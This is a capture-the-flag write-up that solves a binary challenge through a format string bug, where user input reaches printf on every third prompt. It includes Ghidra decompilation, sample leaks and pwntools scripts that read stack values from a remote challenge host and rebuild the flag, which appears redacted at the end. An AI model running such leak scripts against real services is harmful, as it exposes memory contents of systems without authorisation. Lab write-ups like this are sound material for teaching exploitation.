To fuzz or nor?
Flag format: ctf{sha256}
Goal: You have to connect to the service using telnet/netcat and find a way to recover the flag by abusing a common techniques used in the exploitation of binaries.
-
We receive the
chall
binary. -
If we analyze it using ghidra, we have the following main function
void main(void)
{ int iVar1; long lVar2; undefined8 *puVar3; long in_FS_OFFSET; byte bVar4; int local_178c; char local_1788 [1008]; undefined8 local_1398; undefined8 local_1390; undefined8 local_1388; undefined8 local_1380; undefined8 local_1378; undefined8 local_1370; undefined8 local_1368; undefined8 local_1360; undefined8 local_1358; undefined8 local_1350; undefined8 local_1348; undefined8 local_1340; undefined8 local_1338; undefined8 local_1330; undefined8 local_1328; undefined8 local_1320; undefined8 local_1318; undefined8 local_1310; undefined8 local_1308 [607]; long local_10;
bVar4 = 0; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Good luck!"); local_1398 = 0x585858587b667463; local_1390 = 0x5858585844414544; local_1388 = 0x5858585844414544; local_1380 = 0x5858585844414544; local_1378 = 0x5858585844414544; local_1370 = 0x5858585844414544; local_1368 = 0x5858585844414544; local_1360 = 0x5858585844414544; local_1358 = 0x5858585844414544; local_1350 = 0x5858585844414544; local_1348 = 0x5858585844414544; local_1340 = 0x5858585844414544; local_1338 = 0x5858585844414544; local_1330 = 0x5858585844414544; local_1328 = 0x5858585844414544; local_1320 = 0x5858585844414544; local_1318 = 0x5858585844414544; local_1310 = 0x585858587d; puVar3 = local_1308; for (lVar2 = 0x25f; lVar2 != 0; lVar2 = lVar2 + -1) { *puVar3 = 0; puVar3 = puVar3 + (ulong)bVar4 * -2 + 1; } for (local_178c = 1; local_178c < 10000; local_178c = local_178c + 1) { if (local_178c == 3) { puts("Do you have the control?"); __isoc99_scanf("%1023[^\n]",local_1788); do { iVar1 = getchar(); } while (iVar1 != 10); printf(local_1788); puts("It does not look like. You have the alt!"); } else { puts("Do you have the control?"); __isoc99_scanf("%1023[^\n]",local_1788); do { iVar1 = getchar(); } while (iVar1 != 10); puts(local_1788); puts("It does not look like. You have the alt!"); } } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}
-
I’m already assuming the flag is in the
local_1310
-local_1398
block of variables. -
However, we see that each THIRD time the app is asking ‘Do you have control’, the variable
local_1788
is printed usingprintf
instead ofputs
, like the other occurences. -
This can allow us to use arguments like
%p
or%s
in a format strings attack.
Do you have the control?%5$p%5$pIt does not look like. You have the alt!Do you have the control?%5$p%5$pIt does not look like. You have the alt!Do you have the control?%5$p0x7f9e186e7a80It does not look like. You have the alt!Do you have the control?
- Considering this leaking, we can iterate through the address space of the stack to reveal all the values stored.
from pwn import *
context.log_level = "CRITICAL"
def leak(offset, IP, PORT):
connection = remote(IP, PORT)
connection.recvuntil('Do you have the control?') connection.sendline('')
connection.recvuntil('Do you have the control?') connection.sendline('')
connection.recvuntil('Do you have the control?\r\n') connection.sendline(' | %' + str(offset) + '$p | ')
response = connection.recvuntil('Do you have the control?')
connection.close()
return response.decode().split(' | ')[3]
for i in range (1000): print(str(i) + " " + leak(i, "34.89.210.219", 30804))
- In the output we found the following sequenece
133 (nil)134 (nil)135 (nil)136 0x585858587b667463137 0x5858585836646166138 0x5858585830343335139 0x5858585866303831140 0x5858585863346236141 0x5858585839346636142 0x5858585831646164143 0x5858585861643833144 0x5858585834646565145 0x5858585866633734146 0x5858585839663332147 0x5858585833363439148 0x5858585831383435149 0x5858585835323966150 0x5858585830663135151 0x5858585863626435152 0x5858585830373036153 0x585858587d154 (nil)
-
Which is the same set of values we found in main functon.
-
I adjusted the python script above to automatically concatenate those hex values, transform to bytes and then as ASCII
# previous code ...
def get_flag():
flag_hex = ''
for i in range (153,135, -1): flag_hex += str(leak(i, "34.89.210.219", 30804)) #print(str(i) + " " + leak(i, "34.89.210.219", 30804))
print(flag_hex)
flag_hex = flag_hex.replace("0x", "") print("\n" + flag_hex)
flag_enc = bytearray.fromhex(flag_hex) print("\n" + str(flag_enc))
flag = flag_enc[::-1].decode() print("\n" + flag)
flag = flag.replace("X", "") print("\n" + flag)
get_flag()
NOTE: First I iterated from 136 to 153 but I noticed that my flag was reversed. You can technically reverse the string at the end and get the same result ; However, I preferred to iterate the right way.
0x585858587d0x58585858303730360x58585858636264350x58585858306631350x58585858353239660x58585858313834350x58585858333634390x58585858396633320x58585858666337340x58585858346465650x58585858616438330x58585858316461640x58585858393466360x58585858633462360x58585858663038310x58585858303433350x58585858366461660x585858587b667463
585858587d5858585830373036585858586362643558585858306631355858585835323966585858583138343558585858333634395858585839663332585858586663373458585858346465655858585861643833585858583164616458585858393466365858585863346236585858586630383158585858303433355858585836646166585858587b667463
bytearray(b'XXXX}XXXX0706XXXXcbd5XXXX0f15XXXX529fXXXX1845XXXX3649XXXX9f32XXXXfc74XXXX4deeXXXXad83XXXX1dadXXXX94f6XXXXc4b6XXXXf081XXXX0435XXXX6dafXXXX{ftc')
ctf{XXXXfad6XXXX5340XXXX180fXXXX6b4cXXXX6f49XXXXdad1XXXX38daXXXXeed4XXXX47cfXXXX23f9XXXX9463XXXX5481XXXXf925XXXX51f0XXXX5dbcXXXX6070XXXX}XXXX
ctf{REDACTED}